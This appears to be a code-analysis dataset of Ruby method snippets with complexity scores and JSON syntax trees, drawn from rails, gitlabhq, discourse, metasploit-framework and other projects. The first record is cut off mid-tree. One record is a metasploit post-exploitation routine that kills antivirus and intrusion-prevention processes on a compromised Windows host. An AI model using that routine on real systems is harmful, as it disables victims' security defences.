"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"user_primary_email?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_pb\"]},\"emails\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"confirmed?\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"user_pb\"]}]}]}","id":"d53d7706-84c8-4ebd-895a-0b249f44eb68"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/base.rb","start_line":63,"raw_source":"def retrieve_object(object)\n            if object\n              object\n            elsif @template_object.instance_variable_defined?(\"@#{@object_name}\")\n              @template_object.instance_variable_get(\"@#{@object_name}\")\n            end\n          rescue NameError\n            # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.\n            nil\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_object\"]},\"instance_variable_defined?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_object\"]},\"instance_variable_get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object_name\"]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"8bb33799-0f69-40c2-a521-4d51606fe402"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/destinations/snowplow.rb","start_line":90,"raw_source":"def product_usage_event_app_id\n          app_id = if ::Gitlab::CurrentSettings.gitlab_dedicated_instance?\n                     DEDICATED_APP_ID\n                   else\n                     SELF_MANAGED_APP_ID\n                   end\n\n          Gitlab::Tracking::Destinations::DestinationConfiguration.non_production_environment? ? \"#{app_id}_staging\" : app_id\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"product_usage_event_app_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app_id\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"gitlab_dedicated_instance?\"]},{\"type\":\"const\",\"children\":[null,\"DEDICATED_APP_ID\"]},{\"type\":\"const\",\"children\":[null,\"SELF_MANAGED_APP_ID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"Destinations\"]},\"DestinationConfiguration\"]},\"non_production_environment?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"str\",\"children\":[\"_staging\"]}]},{\"type\":\"lvar\",\"children\":[\"app_id\"]}]}]}]}","id":"0e20d369-cc3a-4a73-b27e-53d72eb2e590"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/design_management/design_collection_spec.rb","start_line":76,"raw_source":"def redis_copy_state\n        Gitlab::Redis::SharedState.with do |redis|\n          redis.get(collection.send(:copy_state_cache_key))\n        end\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_copy_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},\"send\",{\"type\":\"sym\",\"children\":[\"copy_state_cache_key\"]}]}]}]}]}","id":"28675524-fda3-4af7-991a-3e212ec1f685"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/killav.rb","start_line":44,"raw_source":"def run\n    avs = ::File.read(\n      ::File.join(\n        Msf::Config.data_directory,\n        'wordlists',\n        'av_hips_executables.txt'\n      )\n    )\n    avs = avs.strip.downcase.split(\"\\n\").uniq\n\n    skip_processes = [\n      '[system process]',\n      'system'\n    ]\n\n    av_processes = get_processes.reject { |p| skip_processes.include?(p['name'].downcase) }.keep_if { |p| avs.include?(p['name'.downcase]) }\n    if av_processes.empty?\n      print_status('No target processes were found.')\n      return\n    end\n\n    processes_killed = 0\n    av_processes.each do |x|\n      process_name = x['name']\n      pid = x['pid']\n\n      print_status(\"Attempting to terminate '#{process_name}' (PID: #{pid}) ...\")\n      if kill_process(pid)\n        processes_killed += 1\n        print_good(\"#{process_name} (PID: #{pid}) terminated.\")\n      else\n        print_error(\"Failed to terminate '#{process_name}' (PID: #{pid}).\")\n      end\n    end\n\n    print_good(\"A total of #{av_processes.length} process(es) were discovered, #{processes_killed} were terminated.\")\n  end","complexity_score":49.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"avs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"av_hips_executables.txt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"avs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avs\"]},\"strip\"]},\"downcase\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"skip_processes\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"[system process]\"]},{\"type\":\"str\",\"children\":[\"system\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"av_processes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_processes\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_processes\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"downcase\"]}]}]},\"keep_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avs\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},\"downcase\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"av_processes\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No target processes were found.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"processes_killed\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"av_processes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"process_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to terminate '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_name\"]}]},{\"type\":\"str\",\"children\":[\"' (PID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\") ...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kill_process\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"processes_killed\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_name\"]}]},{\"type\":\"str\",\"children\":[\" (PID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\") terminated.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to terminate '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_name\"]}]},{\"type\":\"str\",\"children\":[\"' (PID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\").\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A total of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"av_processes\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" process(es) were discovered, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processes_killed\"]}]},{\"type\":\"str\",\"children\":[\" were terminated.\"]}]}]}]}]}","id":"469a6d9b-92a7-4ab9-b479-9f0012d2f891"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/class_equality_comparison.rb","start_line":120,"raw_source":"def unable_to_determine_type?(class_node)\n          class_node.variable? || class_node.call_type?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unable_to_determine_type?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_node\"]},\"variable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_node\"]},\"call_type?\"]}]}]}","id":"6136978a-98ad-4651-b0c8-d68232d30ce3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/rack_attack_shared_examples.rb","start_line":189,"raw_source":"def do_request\n        make_request(request_args)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"do_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"make_request\",{\"type\":\"send\",\"children\":[null,\"request_args\"]}]}]}","id":"cbbbd63a-d495-4e46-a2e8-74aae01fd27f"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/operation/slice_configured_db_operation.rb","start_line":71,"raw_source":"def define_transaction\n            slice = self.slice\n            define_method(:transaction) do |**kwargs, &block|\n              unless rom\n                msg = <<~TEXT.strip\n                  A configured db for #{slice} is required to run transactions.\n                TEXT\n                raise Hanami::ComponentLoadError, msg\n              end\n\n              super(**kwargs, &block)\n            end\n          end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"define_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slice\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"slice\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"transaction\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rom\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A configured db for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]}]},{\"type\":\"str\",\"children\":[\" is required to run transactions.\\n\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"ComponentLoadError\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}]}","id":"4cfc3290-b6c0-4f56-8ab6-8897914c5306"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/gitlab/client.rb","start_line":60,"raw_source":"def find_file_by_name(name)\n          files.select { |secure_file| secure_file.file.name == name }.first\n        end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_file_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secure_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secure_file\"]},\"file\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},\"first\"]}]}","id":"d7622d24-ffcf-4f86-b017-a2986bf26eaf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extension_mapper.rb","start_line":61,"raw_source":"def self.get_extension_module(name)\n    name.downcase!\n\n    begin\n      require(\"rex/post/meterpreter/extensions/#{name}/#{name}\")\n    rescue LoadError\n      # the extension doesn't exist on disk\n      raise RuntimeError, \"Unable to load extension '#{name}' - module does not exist.\"\n    end\n    s = Rex::Post::Meterpreter::Extensions.constants.find { |c| name == c.to_s.downcase }\n    Rex::Post::Meterpreter::Extensions.const_get(s)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_extension_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"downcase!\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rex/post/meterpreter/extensions/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to load extension '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"' - module does not exist.\"]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"constants\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"to_s\"]},\"downcase\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}","id":"bd13f6d4-8683-4b28-8c9d-ae6d5be1e415"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/twitter_status_onebox.rb","start_line":51,"raw_source":"def match\n        @match ||= @url.match(%r{(twitter\\.com|x\\.com)/.+?/status(es)?/(?<id>\\d+)})\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@url\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(twitter\\\\.com|x\\\\.com)/.+?/status(es)?/(?<id>\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"7809801d-eff8-48c0-8d24-1a0e731cdd5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/access_matchers_helpers.rb","start_line":72,"raw_source":"def prepare_matcher_environment(role, membership, owned_objects)\n    user = provide_user(role, membership)\n\n    if user\n      update_owner(owned_objects, user)\n      patch_example_group(user)\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_matcher_environment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]},{\"type\":\"arg\",\"children\":[\"membership\"]},{\"type\":\"arg\",\"children\":[\"owned_objects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"provide_user\",{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"membership\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_owner\",{\"type\":\"lvar\",\"children\":[\"owned_objects\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"patch_example_group\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]}]}]}","id":"b2eadf9a-1dd5-4bfa-bb07-e11597203085"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/autosave_association.rb","start_line":510,"raw_source":"def _record_changed?(reflection, record, key)\n        record.new_record? ||\n          (association_foreign_key_changed?(reflection, record, key) ||\n          inverse_polymorphic_association_changed?(reflection, record)) ||\n          record.will_save_change_to_attribute?(reflection.foreign_key)\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_record_changed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]},{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"new_record?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association_foreign_key_changed?\",{\"type\":\"lvar\",\"children\":[\"reflection\"]},{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"inverse_polymorphic_association_changed?\",{\"type\":\"lvar\",\"children\":[\"reflection\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"will_save_change_to_attribute?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"foreign_key\"]}]}]}]}","id":"3340de60-d6bc-44da-96d8-cc65a84f186b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/installation_config.rb","start_line":42,"raw_source":"def value=(value_to_assigned)\n    self.serialized_value = {\n      value: value_to_assigned\n    }.with_indifferent_access\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"value=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value_to_assigned\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serialized_value=\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value_to_assigned\"]}]}]},\"with_indifferent_access\"]}]}]}","id":"e9d2a6df-c964-47fc-bec6-1082bf1897a6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":1065,"raw_source":"def test_should_return_simple_string_asset_host\n    @controller.config.asset_host = \"assets.example.com\"\n    assert_equal \"gopher://assets.example.com\", compute_asset_host(\"foo\")\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_return_simple_string_asset_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"config\"]},\"asset_host=\",{\"type\":\"str\",\"children\":[\"assets.example.com\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"gopher://assets.example.com\"]},{\"type\":\"send\",\"children\":[null,\"compute_asset_host\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}","id":"38a18d40-3c83-4b4e-862b-986103ecbbd0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/diffs_metadata_entity.rb","start_line":61,"raw_source":"def user_full_name\n    request.current_user&.name\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_full_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"current_user\"]},\"name\"]}]}","id":"9fa483a8-3cd5-4a9d-821f-6ceaf69c3aaa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/cache.rb","start_line":87,"raw_source":"def start\n      @monitor_thread = Rex::ThreadFactory.spawn(\"DNSServerCacheMonitor\", false) {\n        while true\n          prune\n          Rex::ThreadSafe.sleep(0.5)\n        end\n      } unless @monitor_thread\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@monitor_thread\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@monitor_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ThreadFactory\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"DNSServerCacheMonitor\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prune\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ThreadSafe\"]},\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]}]}]}]}]}]}]}","id":"7d12a90e-d7c8-420c-a409-f7f527564b94"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/acts_as_legacy.rb","start_line":89,"raw_source":"def to_llm(context: nil)\n        # model_id is a string that RubyLLM can resolve\n        @chat ||= if context\n                    context.chat(model: model_id)\n                  else\n                    RubyLLM.chat(model: model_id)\n                  end\n        @chat.reset_messages!\n\n        messages.each do |msg|\n          @chat.add_message(msg.to_llm)\n        end\n\n        setup_persistence_callbacks\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_llm\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@chat\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"chat\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[null,\"model_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"chat\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[null,\"model_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat\"]},\"reset_messages!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"messages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat\"]},\"add_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"to_llm\"]}]}]},{\"type\":\"send\",\"children\":[null,\"setup_persistence_callbacks\"]}]}]}","id":"ab950c44-1194-4242-98da-c618d48868a2"}
